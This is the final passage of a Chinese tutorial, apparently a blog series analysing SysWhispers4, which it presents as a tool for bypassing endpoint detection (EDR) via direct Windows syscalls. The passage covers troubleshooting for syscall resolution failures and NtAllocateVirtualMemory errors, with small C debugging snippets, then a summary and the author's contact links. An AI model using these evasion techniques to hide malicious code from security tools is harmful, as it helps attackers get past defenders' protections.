  5.     DWORD error =GetLastError();
  6.     printf("GetLastError: %lu\n", error);
  7. }

可能原因:

  • ntdll 导出表损坏
  • PEB 遍历失败
  • FreshyCalls 排序算法错误

解决方案:

  • 尝试其他解析方法: --resolve hells_gate
  • 使用静态表: --resolvestatic
  • 检查系统完整性

问题 2:syscall 返回 STATUSINVALIDPARAMETER

症状:

  1. [!]NtAllocateVirtualMemory failed:0xC00000EF

排查步骤:

  1. // 检查参数
  2. printf("ProcessHandle: %p\n", hProcess);
  3. printf("BaseAddress: %p\n",&base);
  4. printf("RegionSize: %zu\n", size);

常见错误:

  • 传递了无效的句柄
  • 地址未对齐
  • 大小超出限制

问题 3:程序崩溃

症状:

  1. Access violation - code c0000005

排查步骤:

  1. // 添加异常处理
  2. __try {
  3.     status = SW4_NtAllocateVirtualMemory(...);
  4. } __except(EXCEPTION_EXECUTE_HANDLER){
  5.     printf("Exception occurred: 0x%08X\n",GetExceptionCode());
  6. }

可能原因:

  • 栈未对齐(16 字节)
  • 参数类型错误
  • 使用了已释放的内存

总结

通过本章的学习,你应该能够:

✅ 环境搭建:正确安装 Python、编译器、SDK✅ 代码生成:根据需求生成合适的 syscall 代码✅ 编译集成:将生成的代码集成到 MSVC/MinGW 项目✅ 实际调用:在 C/C++ 项目中正确使用 syscall✅ 调试验证:使用各种工具调试和验证 syscall 执行

记住以下最佳实践:

  1. 始终调用 Initialize():在任何 syscall 之前
  2. 检查返回值:使用 NT_SUCCESS 判断成功
  3. 清理资源:使用 NtClose 关闭句柄
  4. 错误处理:添加适当的异常处理
  5. 调试优先:先在调试环境下测试

SysWhispers4 是一个强大的工具,但要充分发挥其威力,需要深入理解 Windows Internals 和系统调用机制。继续学习前面的章节,你会变得更强大!

  • 公众号:安全狗的自我修养

  • vx:2207344074

  • http://gitee.com/haidragon

  • http://github.com/haidragon

  • bilibili:haidragonx

本站文章均为手工撰写未经允许谢绝转载:夜雨聆风 » edr绕过工具 SysWhispers4 源码分析系列(七)

猜你喜欢

  • 暂无文章